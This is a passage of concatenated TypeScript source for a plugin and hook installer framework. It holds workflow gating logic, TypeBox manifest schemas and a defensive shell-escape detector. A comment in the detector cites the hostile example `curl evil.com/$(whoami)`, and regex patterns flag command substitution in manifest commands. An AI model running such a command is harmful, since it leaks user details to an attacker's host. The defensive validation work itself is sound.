triggers:\n *   - a blocked failed sub in the current ledger (fail-CLOSED, code 10), or\n *   - the derived next phase orders BEFORE the workflow pointer (an earlier phase was\n *     left incomplete while the pointer ran ahead — code 11). Disk reconciliation\n *     beats the stale pointer (AC3); advancing would skip the unfinished earlier work.\n * Returns null when forward advance is safe.\n */\nfunction detectGate(snapshot: PlanningSnapshot, unit: NextUnit): Gate | null {\n  if (unit.kind === 'blocked') {\n    return { unit: describeUnit(unit) ?? unit.unit, reason: unit.reason, code: 10 }\n  }\n  if (unit.kind === 'phase' || unit.kind === 'task') {\n    const pointer = snapshot.currentPhase\n    if (pointer != null) {\n      const pointerOrder = Number.parseFloat(pointer)\n      const derivedOrder = Number.parseFloat(unit.phase)\n      if (\n        Number.isFinite(pointerOrder) &&\n        Number.isFinite(derivedOrder) &&\n        derivedOrder < pointerOrder\n      ) {\n        return {\n          unit: describeUnit(unit) ?? unit.phase,\n          reason: `phase ${unit.phase} is incomplete but the workflow pointer ran ahead to ${pointer}`,\n          code: 11,\n        }\n      }\n    }\n  }\n  return null\n}\n\n/**\n * D4 — resolve `harnessed advance` (the act half of the gsd-pi next/advance split).\n * Same derive engine as next, plus the advance-gate. `--force` overrides the gate,\n * printing an audit note and proceeding. Print-only (OQ-1): emits the start\n * instruction; the caller never seeds state or spawns.\n */\nexport function resolveAdvance(snapshot: PlanningSnapshot, force = false): AdvanceStep {\n  const unit = deriveNext(snapshot)\n  if (unit.kind === 'done') {\n    return {\n      next: 'done',\n      unit,\n      exitCode: 2,\n      lines: ['ADVANCE: done — all phases complete'],\n      json: { next: 'done', unit: null, hint: null },\n    }\n  }\n\n  const gate = detectGate(snapshot, unit)\n  if (gate && !force) {\n    return {\n      next: 'gate-reject',\n      unit,\n      exitCode: gate.code,\n      lines: [\n        `ADVANCE: refused — ${gate.reason}`,\n        `UNFINISHED: ${gate.unit}`,\n        'HINT: finish it, or pass --force to override (records an audit note)',\n      ],\n      json: { next: 'gate-reject', unit: gate.unit, hint: gate.reason },\n    }\n  }\n\n  // advance — possibly forced past the gate.\n  const u = describeUnit(unit) ?? ''\n  const cmd = `→ run /auto \"${u}\"`\n  const lines: string[] = []\n  if (gate && force) {\n    lines.push(`AUDIT: --force override — advancing past unfinished ${gate.unit} (${gate.reason})`)\n  }\n  lines.push('ADVANCE: advance', `UNIT: ${u}`, cmd)\n  return {\n    next: 'advance',\n    unit,\n    exitCode: 0,\n    lines,\n    json: { next: 'advance', unit: u, hint: cmd },\n  }\n}\n","// Friendly error mapping per ADR 0001 + GA-1 § validator entry.\n// Translates Ajv `ErrorObject[]` and yaml parse errors into a uniform\n// `ValidationError` shape with path + keyword + line/column.\n// T4.3 adds yaml LineCounter + doc.getIn() for precise source location.\n\nimport type { ErrorObject } from 'ajv'\nimport type { Document, LineCounter, Node } from 'yaml'\n\nexport interface ValidationError {\n  file: string\n  path: string\n  message: string\n  line: number | null\n  column: number | null\n  keyword: string\n}\n\n/**\n * Translate a JSON Pointer instancePath (\"/spec/install/method\") into the\n * key-path array yaml@2 expects (\"spec\", \"install\", \"method\"). Numeric\n * segments are coerced for sequence indexing.\n */\nfunction instancePathToKeyPath(instancePath: string): Array<string | number> {\n  if (!instancePath || instancePath === '/') return []\n  return instancePath\n    .split('/')\n    .filter(Boolean)\n    .map((seg) => {\n      const n = Number(seg)\n      return Number.isInteger(n) && String(n) === seg ? n : seg\n    })\n}\n\n/**\n * Resolve `instancePath` to a yaml node by walking the parsed Document, then\n * convert the node's start offset to a 1-indexed `{ line, col }` via the\n * supplied LineCounter. Returns `{ null, null }` if the node cannot be located\n * (e.g. when validation reports a missing field, the node never existed).\n */\nfunction locateLineFromDoc(\n  doc: Document.Parsed,\n  lineCounter: LineCounter,\n  instancePath: string,\n): { line: number | null; column: number | null } {\n  const path = instancePathToKeyPath(instancePath)\n  // For empty path the document root sits at offset 0.\n  let node: unknown\n  if (path.length === 0) {\n    node = doc.contents\n  } else {\n    node = doc.getIn(path, true)\n  }\n\n  if (!node || typeof node !== 'object') return { line: null, column: null }\n  const range = (node as Node).range\n  if (!range) return { line: null, column: null }\n\n  const offset = range[0]\n  const pos = lineCounter.linePos(offset)\n  return { line: pos.line, column: pos.col }\n}\n\n/**\n * Map an Ajv error to ValidationError. When `doc` + `lineCounter` are supplied,\n * line/column are populated from the yaml CST.\n */\nexport function ajvErrorToFriendly(\n  err: ErrorObject,\n  file: string,\n  doc?: Document.Parsed,\n  lineCounter?: LineCounter,\n): ValidationError {\n  let path = err.instancePath || '/'\n  const params = err.params as Record<string, unknown> | undefined\n  if (\n    err.keyword === 'additionalProperties' &&\n    params &&\n    typeof params.additionalProperty === 'string'\n  ) {\n    path = `${path}/${params.additionalProperty}`\n  } else if (err.keyword === 'required' && params && typeof params.missingProperty === 'string') {\n    path = `${path}/${params.missingProperty}`\n  }\n\n  let line: number | null = null\n  let column: number | null = null\n  if (doc && lineCounter) {\n    // For required-field errors the missing field has no node; resolve to the\n    // parent path instead so the user is pointed at the parent block.\n    const lookupPath = err.keyword === 'required' ? err.instancePath || '/' : path\n    const loc = locateLineFromDoc(doc, lineCounter, lookupPath)\n    line = loc.line\n    column = loc.column\n  }\n\n  return {\n    file,\n    path,\n    message: err.message ?? 'unknown error',\n    line,\n    column,\n    keyword: err.keyword,\n  }\n}\n\nexport interface YamlParseLike {\n  message: string\n  linePos?: ReadonlyArray<{ line: number; col: number }>\n}\n\nexport function yamlParseErrorToFriendly(err: YamlParseLike, file: string): ValidationError {\n  return {\n    file,\n    path: '/',\n    message: err.message,\n    line: err.linePos?.[0]?.line ?? null,\n    column: err.linePos?.[0]?.col ?? null,\n    keyword: 'yaml-parse',\n  }\n}\n","// Metadata sub-schema per ADR 0001 § Top-level structure.\n// Fields: apiVersion (Literal harnessed/v1), kind (Literal Manifest),\n// metadata.{name, display_name?, description, upstream{...}}.\n\nimport { Type } from '@sinclair/typebox'\n\nexport const ApiVersion = Type.Literal('harnessed/v1')\nexport const Kind = Type.Literal('Manifest')\n\n// SPDX whitelist per ADR 0001 line 51.\n// ADR 0010 errata — license whitelist extension (D-03/D-05). `MIT-0` (MIT No\n// Attribution, SPDX-registered) added for baoyu-skills; `anthropics-official`\n// carve-out added for anthropics/skills monorepo sub-skills (frontend-design /\n// document-skills / webapp-testing) which have no per-skill LICENSE file.\nconst SpdxLicense = Type.Union([\n  Type.Literal('MIT'),\n  Type.Literal('Apache-2.0'),\n  Type.Literal('BSD-3-Clause'),\n  Type.Literal('ISC'),\n  Type.Literal('0BSD'),\n  Type.Literal('MIT-0'),\n  Type.Literal('anthropics-official'),\n])\n\n// ADR 0010 errata — license provenance audit field (D-04). Records where the\n// license info was sourced from so it can be mechanically audited. Optional —\n// additive only, A7' 8-pillar safe (no existing manifest broken).\nconst LicenseSource = Type.Union([\n  Type.Literal('README'),\n  Type.Literal('registry'),\n  Type.Literal('none'),\n  Type.Literal('anthropics-official'),\n])\n\nconst Upstream = Type.Object(\n  {\n    source: Type.String({ minLength: 1 }),\n    homepage: Type.String({ format: 'uri' }),\n    repository: Type.String({ format: 'uri' }),\n    license: SpdxLicense,\n    license_source: Type.Optional(LicenseSource),\n    notice: Type.String({ minLength: 1, maxLength: 500 }),\n  },\n  { additionalProperties: false },\n)\n\nexport const MetadataSchema = Type.Object(\n  {\n    name: Type.String({ pattern: '^[a-z0-9][a-z0-9-]*$', minLength: 1 }),\n    display_name: Type.Optional(Type.String()),\n    description: Type.String({ minLength: 1, maxLength: 120 }),\n    upstream: Upstream,\n  },\n  { additionalProperties: false },\n)\n","// install.method = cc-hook-add per ADR 0001 type×method matrix + Phase 2.4 W3 T3.1 (D-04 § 3.1).\n//\n// IMPL NOTE (Phase 2.4 W3 / R2.4.4): Claude Code SessionStart / UserPromptSubmit /\n// PreToolUse / PostToolUse hooks are configured in ~/.claude/settings.json under\n// `hooks.<event>[].{matcher, command}` shape. This install method lets a manifest\n// register a hook entry idempotently. The hook_command is the bash invocation the\n// user wants run on that lifecycle event (e.g. `node scripts/dashboard.mjs --no-open`\n// to auto-spawn the dashboard on session start).\n//\n// Sister: npxSkillInstaller schema (~17L) — same minimal TypeBox shape, no exotic\n// fields. `idempotent_check` reused from the 6 sister install methods (preflight\n// invariant per src/installers/lib/preflight.ts contract).\n\nimport { Type } from '@sinclair/typebox'\n\nconst HookEvent = Type.Union([\n  Type.Literal('SessionStart'),\n  Type.Literal('UserPromptSubmit'),\n  Type.Literal('PreToolUse'),\n  Type.Literal('PostToolUse'),\n])\n\nexport const CcHookAdd = Type.Object(\n  {\n    method: Type.Literal('cc-hook-add'),\n    cmd: Type.String({ minLength: 1 }), // audit-trail (the bash invocation registered)\n    // cwd/env required by lib/spawn.ts discriminated-union access (sister 6 method\n    // shape parity — even though cc-hook-add does not spawn, generic spawn helper\n    // expects these fields on the install union).\n    cwd: Type.Optional(Type.String()),\n    env: Type.Optional(Type.Record(Type.String(), Type.String())),\n    hook_event: HookEvent,\n    hook_matcher: Type.Optional(Type.String()),\n    hook_command: Type.String({ minLength: 1 }),\n    idempotent_check: Type.String({ minLength: 1 }),\n  },\n  { additionalProperties: false },\n)\n","// install.method = cc-plugin-marketplace per ADR 0001 type×method matrix.\n// Required: cmd, idempotent_check, git_ref.\n//\n// Phase 1.1.1 hotfix M1 — git_ref pattern enforces SHA (7-40 hex) or SemVer\n// tag, rejecting branch names like HEAD/main/master that would silently\n// drift. ADR 0001 § \"版本锁哲学\" requires reproducible installs.\n//\n// Phase 1.2 ADR 0005 errata — `marketplace_source` optional field for\n// third-party marketplaces (e.g. OthmanAdi/planning-with-files which is NOT\n// in claude-plugins-official). v0.1 only `source: github`. Official upstream\n// can omit; phase 2.1 cc-plugin-marketplace installer will consume this\n// field structurally instead of parsing the cmd string.\n\nimport { Type } from '@sinclair/typebox'\n\nconst GIT_REF_PATTERN = '^([a-f0-9]{7,40}|v?\\\\d+\\\\.\\\\d+\\\\.\\\\d+([.-][\\\\w.-]+)?)$'\nconst REPO_PATTERN = '^[a-zA-Z0-9_.-]+/[a-zA-Z0-9_.-]+$'\n\nexport const CcPluginMarketplace = Type.Object(\n  {\n    method: Type.Literal('cc-plugin-marketplace'),\n    cmd: Type.String({ minLength: 1 }),\n    cwd: Type.Optional(Type.String()),\n    env: Type.Optional(Type.Record(Type.String(), Type.String())),\n    args: Type.Optional(Type.Record(Type.String(), Type.Unknown())),\n    git_ref: Type.String({ minLength: 1, pattern: GIT_REF_PATTERN }),\n    idempotent_check: Type.String({ minLength: 1 }),\n    // ADR 0005 — third-party marketplace structured metadata (optional).\n    marketplace_source: Type.Optional(\n      Type.Object(\n        {\n          source: Type.Literal('github'),\n          repo: Type.String({ pattern: REPO_PATTERN, minLength: 3 }),\n        },\n        { additionalProperties: false },\n      ),\n    ),\n  },\n  { additionalProperties: false },\n)\n","// install.method = git-clone-with-setup per ADR 0001 type×method matrix.\n// Required: cmd, idempotent_check, git_ref.\n//\n// Phase 1.1.1 hotfix M1 — git_ref pattern enforces SHA (7-40 hex) or SemVer\n// tag, rejecting branch names like HEAD/main/master that would silently\n// drift. ADR 0001 § \"版本锁哲学\" requires reproducible installs.\n\nimport { Type } from '@sinclair/typebox'\n\nconst GIT_REF_PATTERN = '^([a-f0-9]{7,40}|v?\\\\d+\\\\.\\\\d+\\\\.\\\\d+([.-][\\\\w.-]+)?)$'\n\nexport const GitCloneWithSetup = Type.Object(\n  {\n    method: Type.Literal('git-clone-with-setup'),\n    cmd: Type.String({ minLength: 1 }),\n    cwd: Type.Optional(Type.String()),\n    env: Type.Optional(Type.Record(Type.String(), Type.String())),\n    args: Type.Optional(Type.Record(Type.String(), Type.Unknown())),\n    git_ref: Type.String({ minLength: 1, pattern: GIT_REF_PATTERN }),\n    idempotent_check: Type.String({ minLength: 1 }),\n  },\n  { additionalProperties: false },\n)\n","// install.method = mcp-http-add per ADR 0001 type×method matrix (mcp-npm only).\n// Required: cmd, idempotent_check, npm_version.\n\nimport { Type } from '@sinclair/typebox'\n\nexport const McpHttpAdd = Type.Object(\n  {\n    method: Type.Literal('mcp-http-add'),\n    cmd: Type.String({ minLength: 1 }),\n    cwd: Type.Optional(Type.String()),\n    env: Type.Optional(Type.Record(Type.String(), Type.String())),\n    args: Type.Optional(Type.Record(Type.String(), Type.Unknown())),\n    npm_version: Type.String({ minLength: 1 }),\n    idempotent_check: Type.String({ minLength: 1 }),\n  },\n  { additionalProperties: false },\n)\n","// install.method = mcp-stdio-add per ADR 0001 type×method matrix (mcp-npm only).\n// Required: cmd, idempotent_check, npm_version.\n// Note: cmd should invoke `claude mcp add --scope project ...` (R3.2),\n// but schema only validates structure — actual cmd template is per-manifest.\n\nimport { Type } from '@sinclair/typebox'\n\nexport const McpStdioAdd = Type.Object(\n  {\n    method: Type.Literal('mcp-stdio-add'),\n    cmd: Type.String({ minLength: 1 }),\n    cwd: Type.Optional(Type.String()),\n    env: Type.Optional(Type.Record(Type.String(), Type.String())),\n    args: Type.Optional(Type.Record(Type.String(), Type.Unknown())),\n    npm_version: Type.String({ minLength: 1 }),\n    idempotent_check: Type.String({ minLength: 1 }),\n  },\n  { additionalProperties: false },\n)\n","// install.method = npm-cli per ADR 0001 type×method matrix (cli-npm only).\n// Required: cmd, idempotent_check, npm_version.\n\nimport { Type } from '@sinclair/typebox'\n\nexport const NpmCli = Type.Object(\n  {\n    method: Type.Literal('npm-cli'),\n    cmd: Type.String({ minLength: 1 }),\n    cwd: Type.Optional(Type.String()),\n    env: Type.Optional(Type.Record(Type.String(), Type.String())),\n    args: Type.Optional(Type.Record(Type.String(), Type.Unknown())),\n    npm_version: Type.String({ minLength: 1 }),\n    idempotent_check: Type.String({ minLength: 1 }),\n  },\n  { additionalProperties: false },\n)\n","// install.method = npx-skill-installer per ADR 0001 type×method matrix.\n// Required: cmd, idempotent_check, npm_version.\n\nimport { Type } from '@sinclair/typebox'\n\nexport const NpxSkillInstaller = Type.Object(\n  {\n    method: Type.Literal('npx-skill-installer'),\n    cmd: Type.String({ minLength: 1 }),\n    cwd: Type.Optional(Type.String()),\n    env: Type.Optional(Type.Record(Type.String(), Type.String())),\n    args: Type.Optional(Type.Record(Type.String(), Type.Unknown())),\n    npm_version: Type.String({ minLength: 1 }),\n    idempotent_check: Type.String({ minLength: 1 }),\n  },\n  { additionalProperties: false },\n)\n","// install.method discriminated union per ADR 0001 type×method matrix.\n// 6 methods: cc-plugin-marketplace, git-clone-with-setup, npx-skill-installer,\n//            npm-cli, mcp-stdio-add, mcp-http-add.\n//\n// IMPL NOTE (Rule 1 / F8): TypeBox's Type.Union(..., { discriminator })\n// emits `anyOf` + lacks `type: \"object\"` + `required: [\"method\"]`, but Ajv\n// `discriminator: true` strict mode requires `oneOf` + `type: \"object\"` +\n// `required: [\"method\"]`. We hand-build the discriminator-compatible shape\n// here so Ajv accepts it. The inferred TypeScript type still tracks via\n// Static<>; Ajv accepts hand-rolled JSON Schema objects with no DX cost.\n\nimport { type Static, Type } from '@sinclair/typebox'\nimport { CcHookAdd } from './ccHookAdd.js'\nimport { CcPluginMarketplace } from './ccPluginMarketplace.js'\nimport { GitCloneWithSetup } from './gitCloneWithSetup.js'\nimport { McpHttpAdd } from './mcpHttpAdd.js'\nimport { McpStdioAdd } from './mcpStdioAdd.js'\nimport { NpmCli } from './npmCli.js'\nimport { NpxSkillInstaller } from './npxSkillInstaller.js'\n\nconst branches = [\n  CcPluginMarketplace,\n  GitCloneWithSetup,\n  NpxSkillInstaller,\n  NpmCli,\n  McpStdioAdd,\n  McpHttpAdd,\n  CcHookAdd,\n] as const\n\n// Hand-built JSON Schema that Ajv `discriminator: true` strict mode accepts.\n// Strict mode also requires `properties.method` declared at the discriminator\n// level (else `strictRequired` complains that `method` is required but undefined\n// at this object scope). Per-branch `additionalProperties: false` is preserved\n// (each TypeBox object already sets it).\nexport const InstallSchema = {\n  type: 'object',\n  discriminator: { propertyName: 'method' },\n  required: ['method'],\n  properties: {\n    method: { type: 'string' },\n  },\n  oneOf: branches as unknown as object[],\n} as const\n\n// Re-derive the TS type via TypeBox's regular Union (this is unused at runtime\n// but gives downstream consumers a typed `Manifest['spec']['install']`).\nconst InstallUnion = Type.Union([...branches])\nexport type Install = Static<typeof InstallUnion>\n","// spec sub-schema per ADR 0001 § Top-level structure.\n// Fields: type, component_type, install (discriminated union), verify, uninstall,\n//         upstream_health, signed_by, signature?, platforms,\n//         tested_with_versions?, mutually_exclusive_with?,\n//         category, install_type, decision_rules? (ADR 0007 errata — phase 1.3 加),\n//         phase?, triggers? (ADR 0009 errata — phase 1.5 T5.5 加).\n//\n// IMPL NOTE — phase 1.5 T5.5 (ADR 0009 § Decision / D1.5-6 / D1.5-7 / Pattern L\n// spec-level metadata 加法 + Pattern T): adds 2 optional spec-level fields for\n// the mattpocock 23 招式 phase routing schema. `phase` is a 4-value enum\n// (discuss / plan / execute / verify) mirroring `decision_rules.yaml` v2\n// `mattpocock_phases` keys; `triggers` is an optional object carrying routing\n// hints (complexity_threshold / tdd_required / brainstorming_required). Both\n// optional — additive only, A7' 8-pillar enforcement (no existing manifest\n// broken). NOTE: this schema uses TypeBox (`@sinclair/typebox`), the project's\n// established schema lib — NOT zod; the task_plan `z.enum` / `z.object` outline\n// is a planning-doc shorthand, implemented here as `Type.Union` / `Type.Object`\n// per ADR 0001 + the no-new-deps constraint.\n\nimport { Type } from '@sinclair/typebox'\nimport { type Install, InstallSchema } from './installMethods/index.js'\n\nconst TypeEnum = Type.Union([\n  Type.Literal('cc-plugin'),\n  Type.Literal('cc-skill-pack'),\n  Type.Literal('mcp-npm'),\n  Type.Literal('cli-npm'),\n  // Phase 2.4 W3 T3.1 (D-04 § 3.1 + R2.4.4 + B-22) — 5th type, 1:1 with install_type:'hook'.\n  // Lifecycle hooks registered to ~/.claude/settings.json (SessionStart / UserPromptSubmit /\n  // PreToolUse / PostToolUse) via the cc-hook-add install method.\n  Type.Literal('cc-hook'),\n])\n\nconst ComponentType = Type.Union([\n  Type.Literal('command'),\n  Type.Literal('behavior-rule'),\n  Type.Literal('mcp-tool'),\n  Type.Literal('cli-binary'),\n])\n\nconst Verify = Type.Object(\n  {\n    cmd: Type.String({ minLength: 1 }),\n    timeout_ms: Type.Optional(Type.Integer({ minimum: 100, maximum: 60_000 })),\n    expected_exit_code: Type.Optional(Type.Integer()),\n  },\n  { additionalProperties: false },\n)\n\nconst Uninstall = Type.Object(\n  {\n    cmd: Type.String({ minLength: 1 }),\n    cleanup_paths: Type.Optional(Type.Array(Type.String())),\n  },\n  { additionalProperties: false },\n)\n\nconst Stability = Type.Union([\n  Type.Literal('stable'),\n  Type.Literal('beta'),\n  Type.Literal('unstable'),\n  Type.Literal('archived'),\n])\n\nconst FallbackAction = Type.Union([\n  Type.Literal('warn'),\n  Type.Literal('block'),\n  Type.Literal('use_alternative'),\n])\n\nconst UpstreamHealth = Type.Object(\n  {\n    stability: Stability,\n    last_check: Type.String({ format: 'date' }),\n    last_known_good_version: Type.String({ minLength: 1 }),\n    fallback_action: FallbackAction,\n    alternative: Type.Optional(Type.String()),\n  },\n  { additionalProperties: false },\n)\n\nconst Platform = Type.Union([Type.Literal('linux'), Type.Literal('darwin'), Type.Literal('win32')])\n\nconst Signature = Type.Object(\n  { sigstore_bundle: Type.String({ format: 'uri' }) },\n  { additionalProperties: false },\n)\n\nconst TestedWithVersions = Type.Object(\n  {\n    cc_versions: Type.Optional(Type.Array(Type.String())),\n    node_versions: Type.Optional(Type.Array(Type.String())),\n  },\n  { additionalProperties: false },\n)\n\n// ADR 0007 errata — categorization schema (phase 1.3 T2.1 加 3 字段).\n// `category` (必填, 6 enum) + `install_type` (必填, 4 enum, 与 install.method 1:N 闭合) +\n// `decision_rules` (optional, per-manifest decision hint — 全局 rule-set 在\n// routing/decision_rules.yaml T3.1, schema 完全独立).\nconst Category = Type.Union([\n  Type.Literal('meta'),\n  Type.Literal('engineering'),\n  Type.Literal('design'),\n  Type.Literal('content'),\n  Type.Literal('testing'),\n  Type.Literal('search'),\n])\n\nconst InstallType = Type.Union([\n  Type.Literal('skill'),\n  Type.Literal('mcp'),\n  Type.Literal('npm'),\n  Type.Literal('git'),\n  // Phase 2.4 W3 T3.1 (D-04 § 3.1 + R2.4.4 + B-22) — 5th install_type, 1:1 with TypeEnum:'cc-hook'.\n  Type.Literal('hook'),\n])\n\nconst DecisionRules = Type.Object(\n  {\n    trigger: Type.Optional(Type.String({ minLength: 1 })),\n    default_expert: Type.Optional(Type.String({ minLength: 1 })),\n    arbitration_rule: Type.Optional(Type.String({ minLength: 1 })),\n    override_signals: Type.Optional(\n      Type.Array(\n        Type.Object(\n          {\n            phrase: Type.String({ minLength: 1 }),\n            use: Type.String({ minLength: 1 }),\n          },\n          { additionalProperties: false },\n        ),\n      ),\n    ),\n    // Phase 2.3 W2 T2.5 — CD-3 negative-space hint mirror (B-17 per-manifest hint\n    // redundant guard layer; SSOT remains routing/decision_rules.yaml — D-04 lead).\n    // Additive optional; existing manifests unchanged (A7 守恒).\n    do_not_use_when: Type.Optional(Type.Array(Type.String({ minLength: 1 }), { minItems: 1 })),\n    if_rejected_use: Type.Optional(Type.String({ minLength: 1 })),\n  },\n  { additionalProperties: false },\n)\n\n// ADR 0009 errata — mattpocock 23 招式 phase routing schema (phase 1.5 T5.5).\n// `Phase` (optional, 4 enum — 1:1 with decision_rules.yaml v2 mattpocock_phases\n// keys) + `Triggers` (optional, routing hints per D1.5-7). Both additive.\nconst Phase = Type.Union([\n  Type.Literal('discuss'),\n  Type.Literal('plan'),\n  Type.Literal('execute'),\n  Type.Literal('verify'),\n])\n\nconst Triggers = Type.Object(\n  {\n    complexity_threshold: Type.Optional(Type.Integer({ minimum: 1 })),\n    tdd_required: Type.Optional(Type.Boolean()),\n    brainstorming_required: Type.Optional(Type.Boolean()),\n  },\n  { additionalProperties: false },\n)\n\n// ADR 0010 errata — bundle-install modeling (#10, D2.1-1). One install action\n// may surface multiple named units (e.g. document-skills → pptx/docx/xlsx/pdf).\n// `provides` absent ⇒ atomic manifest (unchanged behavior). Present ⇒ one\n// install exposes N named units. `install`/`verify`/`uninstall` stay singular —\n// the bundle is installed by ONE action. Bundle manifests use the existing\n// `type: 'cc-skill-pack'` (D2.1-2 — no new TypeEnum/ComponentType value).\nconst ProvidedUnit = Type.Object(\n  {\n    id: Type.String({ minLength: 1 }), // routing-addressable, <org>-<repo>-<unit>\n    component_type: ComponentType, // reuse existing union\n  },\n  { additionalProperties: false },\n)\n\n// v4.14.0 — cross-harness overrides (patch 4.14.0 T3 REVISED). A manifest whose\n// default install path is claude-flavored may declare a per-harness alternative\n// (today only `codex`). Structure REUSES the install discriminated union + the\n// Verify schema verbatim — an override is a full replacement install block (and\n// optionally verify), not a patch. runInstall merges the override by\n// detectPlatform().id BEFORE dispatch; absent override + claude-only method →\n// aborted 'harness-mismatch' (honest skip; ralph-loop / gstack use this).\nconst HarnessOverride = Type.Object(\n  {\n    install: Type.Unsafe<Install>(InstallSchema),\n    verify: Type.Optional(Verify),\n  },\n  { additionalProperties: false },\n)\n\nconst HarnessOverrides = Type.Object(\n  {\n    codex: Type.Optional(HarnessOverride),\n  },\n  { additionalProperties: false },\n)\n\nexport const SpecSchema = Type.Object(\n  {\n    type: TypeEnum,\n    component_type: ComponentType,\n    install: Type.Unsafe<Install>(InstallSchema),\n    verify: Verify,\n    uninstall: Uninstall,\n    upstream_health: UpstreamHealth,\n    signed_by: Type.String({ pattern: '^[a-zA-Z0-9-]+$', minLength: 1 }),\n    signature: Type.Optional(Signature),\n    platforms: Type.Array(Platform, { minItems: 1, uniqueItems: true }),\n    tested_with_versions: Type.Optional(TestedWithVersions),\n    mutually_exclusive_with: Type.Optional(Type.Array(Type.String())),\n    category: Category,\n    install_type: InstallType,\n    decision_rules: Type.Optional(DecisionRules),\n    // ADR 0009 errata (phase 1.5 T5.5) — mattpocock phase routing schema.\n    phase: Type.Optional(Phase),\n    triggers: Type.Optional(Triggers),\n    // ADR 0010 errata (phase 2.1 T1.3) — bundle-install `provides` field.\n    provides: Type.Optional(Type.Array(ProvidedUnit, { minItems: 2, uniqueItems: true })),\n    // v4.14.0 — per-harness install/verify overrides (codex only for now).\n    harness_overrides: Type.Optional(HarnessOverrides),\n  },\n  { additionalProperties: false },\n)\n","// Manifest schema v1 — main entry per ADR 0001.\n// Top-level: { apiVersion, kind, metadata, spec } with strict additionalProperties: false.\n//\n// Type × install.method matrix (ADR 0001 § 4.5) is enforced via top-level `allOf`\n// with `if/then` clauses. Without this, the install discriminator only validates\n// the chosen method's structure but allows e.g. `type: cli-npm` paired with\n// `method: cc-plugin-marketplace` (matrix violation). Rule 2 enforcement.\n\nimport { Type } from '@sinclair/typebox'\nimport { ApiVersion, Kind, MetadataSchema } from './metadata.js'\nimport { SpecSchema } from './spec.js'\n\n// TypeBox-typed base — drives Static<typeof ManifestBase> for the inferred\n// Manifest TS type (re-exported via ./types.js).\nexport const ManifestBase = Type.Object(\n  {\n    apiVersion: ApiVersion,\n    kind: Kind,\n    metadata: MetadataSchema,\n    spec: SpecSchema,\n  },\n  { additionalProperties: false },\n)\n\n// Per-type allowed install.method whitelist per ADR 0001 line 104-113.\nconst matrix: Record<string, string[]> = {\n  'cc-plugin': ['cc-plugin-marketplace'],\n  'cc-skill-pack': ['cc-plugin-marketplace', 'git-clone-with-setup', 'npx-skill-installer'],\n  'mcp-npm': ['mcp-stdio-add', 'mcp-http-add'],\n  'cli-npm': ['npm-cli'],\n}\n\nconst matrixConstraints = Object.entries(matrix).map(([typeValue, allowedMethods]) => ({\n  if: {\n    type: 'object',\n    properties: {\n      spec: {\n        type: 'object',\n        properties: { type: { const: typeValue } },\n        required: ['type'],\n      },\n    },\n    required: ['spec'],\n  },\n  // biome-ignore lint/suspicious/noThenProperty: JSON Schema `then` keyword (conditional schemas), not a thenable.\n  then: {\n    type: 'object',\n    properties: {\n      spec: {\n        type: 'object',\n        properties: {\n          install: {\n            type: 'object',\n            properties: { method: { enum: allowedMethods } },\n            required: ['method'],\n          },\n        },\n        required: ['install'],\n      },\n    },\n    required: ['spec'],\n  },\n}))\n\n// Runtime JSON Schema fed to Ajv: typed base + matrix allOf clauses + metadata.\n// We spread ManifestBase (a TypeBox object that is already a valid JSON Schema)\n// and append the cross-field constraints.\nexport const ManifestSchema = {\n  ...(ManifestBase as unknown as Record<string, unknown>),\n  $id: 'https://harnessed.dev/schemas/manifest.v1.schema.json',\n  title: 'harnessed Manifest v1',\n  description: 'Per ADR 0001. Strict mode (additionalProperties: false everywhere).',\n  allOf: matrixConstraints,\n}\n","// Phase 1.1.1 hotfix per Paranoid Staff Engineer review B1.\n//\n// ADR 0001 § \"字段拒绝清单\" claims schema rejects ${shell command} dynamic\n// substitution patterns, but v0.1 phase 1.1 schema only does structural\n// validation (Type.String + minLength). This module fills the gap before\n// phase 1.2 installer ships — without it, an upstream manifest with\n// `cmd: 'curl evil.com/$(whoami)'` would pass validation, and the\n// phase 1.2 installer that spawns the cmd string would execute arbitrary\n// code on the user's machine.\n//\n// v0.2 plan: add a `requires_secret` schema field + explicit\n// `${secret:KEY}` template syntax, at which point this detector should\n// allow the `${secret:*}` whitelist while still rejecting raw `${VAR}`.\n//\n// Detected patterns (4):\n//   - `$(...)`     POSIX command substitution\n//   - `${...}`     variable expansion\n//   - backtick     old-style command substitution\n//   - dangerous    yaml tags (handled at parse layer by yaml@2.x; we\n//                  don't double-check, but document the trust boundary)\n//\n// Targeted fields:\n//   - spec.install.cmd\n//   - spec.verify.cmd\n//   - spec.uninstall.cmd\n//   - spec.uninstall.cleanup_paths[*]\n\nimport type { Document, LineCounter, Node } from 'yaml'\nimport { isMap, isScalar, isSeq } from 'yaml'\nimport type { ValidationError } from './errors.js'\n\ninterface ShellPattern {\n  test: (s: string) => boolean\n  label: string\n  hint: string\n}\n\nconst PATTERNS: ShellPattern[] = [\n  {\n    label: '$(...)',\n    hint: 'POSIX command substitution',\n    test: (s) => /\\$\\(/.test(s),\n  },\n  {\n    // biome-ignore lint/suspicious/noTemplateCurlyInString: literal pattern label, not a JS template\n    label: '${...}',\n    // biome-ignore lint/suspicious/noTemplateCurlyInString: literal example in user-facing message\n    hint: 'variable expansion (v0.2 will whitelist `${secret:KEY}`)',\n    test: (s) => /\\$\\{/.test(s),\n  },\n  {\n    label: 'backtick',\n    hint: 'old-style command substitution',\n    test: (s) => /`/.test(s),\n  },\n]\n\nfunction lineOf(node: Node | null | undefined, lineCounter: LineCounter): number | null {\n  if (!node?.range) return null\n  const offset = node.range[0]\n  return lineCounter.linePos(offset).line\n}\n\n/**\n * String-level shell-escape detector for runtime defense-in-depth.\n *\n * Phase 1.2 lib/spawn.ts re-runs this on `manifest.spec.install.cmd` right\n * before child_process.spawn(): if a future caller (e.g. phase 1.4 routing,\n * a test harness, or an installer that bypasses validate.ts) hands an\n * unvalidated cmd string to spawn, we still refuse to execute. Same pattern\n * set as `checkSecurityViolations`, just operating on a raw string instead\n * of a yaml AST node — no source-line/path context here.\n *\n * Returns the offending pattern descriptor on first hit, or null if clean.\n */\nexport function checkCmdString(cmd: string): { label: string; hint: string } | null {\n  for (const pat of PATTERNS) {\n    if (pat.test(cmd)) return { label: pat.label, hint: pat.hint }\n  }\n  return null\n}\n\nfunction checkScalarCmd(\n  doc: Document.Parsed,\n  lineCounter: LineCounter,\n  path: Array<string | number>,\n  filename: string,\n): ValidationError | null {\n  const node = doc.getIn(path, true)\n  if (!node || !isScalar(node)) return null\n  const value = node.value\n  if (typeof value !== 'string') return null\n  for (const pat of PATTERNS) {\n    if (pat.test(value)) {\n      return {\n        file: filename,\n        path: `/${path.join('/')}`,\n        message: `shell escape detected: '${pat.label}' 